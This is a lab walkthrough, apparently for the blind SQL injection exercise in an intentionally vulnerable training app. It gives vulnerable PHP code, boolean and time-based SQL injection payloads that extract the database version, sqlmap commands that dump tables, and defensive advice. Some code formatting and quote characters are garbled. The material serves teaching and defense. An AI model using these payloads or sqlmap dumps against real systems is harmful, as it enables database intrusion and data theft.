Skip to main content

Overview

Blind SQL Injection is identical to normal SQL injection, except that when an attacker attempts to exploit the application, they don’t receive direct feedback from database queries. Instead of seeing error messages or query results, the attacker gets:
  • Generic error pages specified by the developer
  • Different HTTP responses (200 OK vs 404 Not Found)
  • Timing differences in page responses
This makes exploitation more difficult but not impossible. Attackers can still extract data by:
  1. Boolean-based blind SQL injection: Asking a series of True/False questions through SQL statements
  2. Time-based blind SQL injection: Monitoring how long the application takes to respond

Time-Based Injection

The “time-based” method is often used when there’s no visible feedback in the page response. The attacker uses SQL commands that cause delays (like SLEEP()) and measures response times. If the page takes longer than normal to respond, the injected query was successful.

Objective

Find the version of the SQL database software through a blind SQL injection attack.

Security Levels

Vulnerability Analysis

The low security level is vulnerable to blind SQL injection because it uses raw, unescaped user input directly in SQL queries, but only reveals whether a user exists or not (no actual data is displayed).

Vulnerable Code

$id = $_GET[ 'id' ];
$exists = false;

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

$exists = (mysqli_num_rows( $result ) > 0);

if ($exists) {
    $html .= '<pre>User ID exists in the database.</pre>';
} else {
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    $html .= '<pre>User ID is MISSING from the database.</pre>';
}
```bash

**Key Vulnerability**: 
- User input is directly concatenated into the SQL query with single quotes
- The application only shows "exists" or "missing" messages
- Error messages are suppressed (no `or die()` clause)
- 404 header is set when user is not found

#### Why It's Vulnerable

- No input validation or sanitization
- Single quotes around the parameter allow SQL injection
- Boolean response (exists/missing) allows true/false testing
- GET parameter makes testing easier

#### Testing Approach

**Boolean-Based Blind Injection:**

Test if user 1 exists

?id=1’ AND ‘1’=‘1 Result: “User ID exists” (True condition)?id=1’ AND ‘1’=‘2
Result: “User ID is MISSING” (False condition)

    **Time-Based Blind Injection:**

If user exists, sleep for 5 seconds

?id=1’ AND sleep(5)— - Result: Page takes 5 seconds to load

Test database version character by character

?id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(5), 0)— -

    <Accordion title="Show Hint">
      You can inject SQL that causes the database to pause/sleep. If the page takes longer to load, your condition was true.

      Try using the `SLEEP()` function in MySQL. Combine it with conditional statements to extract data bit by bit.
    </Accordion>

    <Accordion title="Show Spoiler">
      **Example payload**: `?id=1' AND sleep(5)-- -&Submit=Submit`

      This will make the page sleep for 5 seconds if user ID 1 exists.

      To extract the database version:

Test first character of version

?id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(5), 0)— -

Extract version string character by character

?id=1’ AND IF(SUBSTRING(@@version,1,1)>‘4’, sleep(3), 0)— -

      You can also use boolean-based extraction:

Will return “exists” if first char of version is ‘5’

?id=1’ AND SUBSTRING(@@version,1,1)=‘5’— -
    </Accordion>

  </Tab>

  <Tab title="Medium">
    ### Vulnerability Analysis

    The medium level attempts to add protection using `mysqli_real_escape_string()`, but like the standard SQL injection medium level, it's **still vulnerable** because the parameter has no quotes around it.

    #### Vulnerable Code

    ```php
    $id = $_POST[ 'id' ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

    $exists = (mysqli_num_rows( $result ) > 0);

    if ($exists) {
        $html .= '<pre>User ID exists in the database.</pre>';
    } else {
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }
Key Vulnerability:
  • mysqli_real_escape_string() escapes quotes and special characters
  • BUT the query has no quotes around $id: WHERE user_id = $id
  • Numeric injection still works perfectly

Changes from Low Level

  • Uses POST instead of GET
  • Implements mysqli_real_escape_string()
  • Dropdown UI instead of text input
  • Doesn’t set 404 header (only message changes)

Why It’s Still Vulnerable

Since there are no quotes around the parameter, you can inject numeric SQL without needing to escape anything. The escaping function is completely ineffective.

Testing Approach

Time-Based Injection (No Quotes Needed):
    # Sleep for 3 seconds
    ?id=1 AND sleep(3)-- -

    # Extract database version
    ?id=1 AND IF(SUBSTRING(@@version,1,1)='5', sleep(3), 0)-- -
Boolean-Based Injection:
    # True condition
    ?id=1 AND 1=1-- -
    Result: "User ID exists"

    # False condition  
    ?id=1 AND 1=2-- -
    Result: "User ID is MISSING"
Notice the query doesn’t have quotes around the user_id. You can inject without using single quotes.The sleep function still works, and you don’t need to escape anything.
Example payload: ?id=1 AND sleep(3)-- -&Submit=SubmitExtract the database version:
      # Test each character position
      ?id=1 AND IF(ASCII(SUBSTRING(@@version,1,1))=53, sleep(3), 0)-- -
The number 53 is ASCII for ‘5’. If the first character of the version is ‘5’, the page will sleep.

Testing Methodology

Boolean-Based Blind SQLi

Extract data by asking true/false questions:
-- Test if database is MySQL
' AND (SELECT 'a' FROM dual)='a'-- -

-- Extract database version character by character
' AND SUBSTRING(@@version,1,1)='5'-- -
' AND SUBSTRING(@@version,2,1)='.'-- -
' AND SUBSTRING(@@version,3,1)='7'-- -

-- Extract using binary search (faster)
' AND ASCII(SUBSTRING(@@version,1,1))>52-- -
' AND ASCII(SUBSTRING(@@version,1,1))<54-- -
```bash

### Time-Based Blind SQLi

Use timing to extract information:

```sql
-- Basic sleep test
' AND sleep(5)-- -

-- Conditional sleep based on version
' AND IF(SUBSTRING(@@version,1,1)='5', sleep(5), 0)-- -

-- Extract using binary search with timing
' AND IF(ASCII(SUBSTRING(@@version,1,1))>52, sleep(5), 0)-- -

Automated Tools

SQLMap can automate blind SQL injection:
# Boolean-based blind SQLi
sqlmap -u "http://target/sqli_blind/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=..." --technique=B --dump

# Time-based blind SQLi
sqlmap -u "http://target/sqli_blind/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=..." --technique=T --dump

# Both techniques
sqlmap -u "http://target/sqli_blind/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=..." --technique=BT --dump
```sql

## Defense Strategies

### Primary Defenses

1. **Use Parameterized Queries**
   ```php
   $stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
   $stmt->bindParam(':id', $id, PDO::PARAM_INT);
   $stmt->execute();
  1. Input Validation
    if (!is_numeric($id)) {
        die('Invalid input');
    }
    $id = intval($id);
    

### Additional Defenses

3. **Rate Limiting**
   - Prevent rapid-fire requests used in blind SQLi attacks
   - Limit requests per IP address
   - Implement CAPTCHA after multiple attempts

4. **Web Application Firewall (WAF)**
   - Detect and block SQL injection patterns
   - Monitor for unusual request patterns
   - Alert on suspected attacks

5. **Monitoring and Logging**
   - Log all database queries
   - Monitor for unusual query patterns
   - Alert on abnormal response times

### What Doesn't Work

- **Adding random delays**: Can be detected through statistical analysis
- **Suppressing errors**: Doesn't prevent boolean or time-based attacks
- **Using POST/cookies instead of GET**: Just makes testing slightly harder
- **Escaping without proper implementation**: As shown in medium level

## Resources

- [OWASP Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [PortSwigger - Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind)
- [Time-Based Blind SQL Injection](https://www.sqlinjection.net/time-based/)
- [Boolean-Based Blind SQL Injection](https://www.sqlinjection.net/boolean-based/)

Build docs developers (and LLMs) love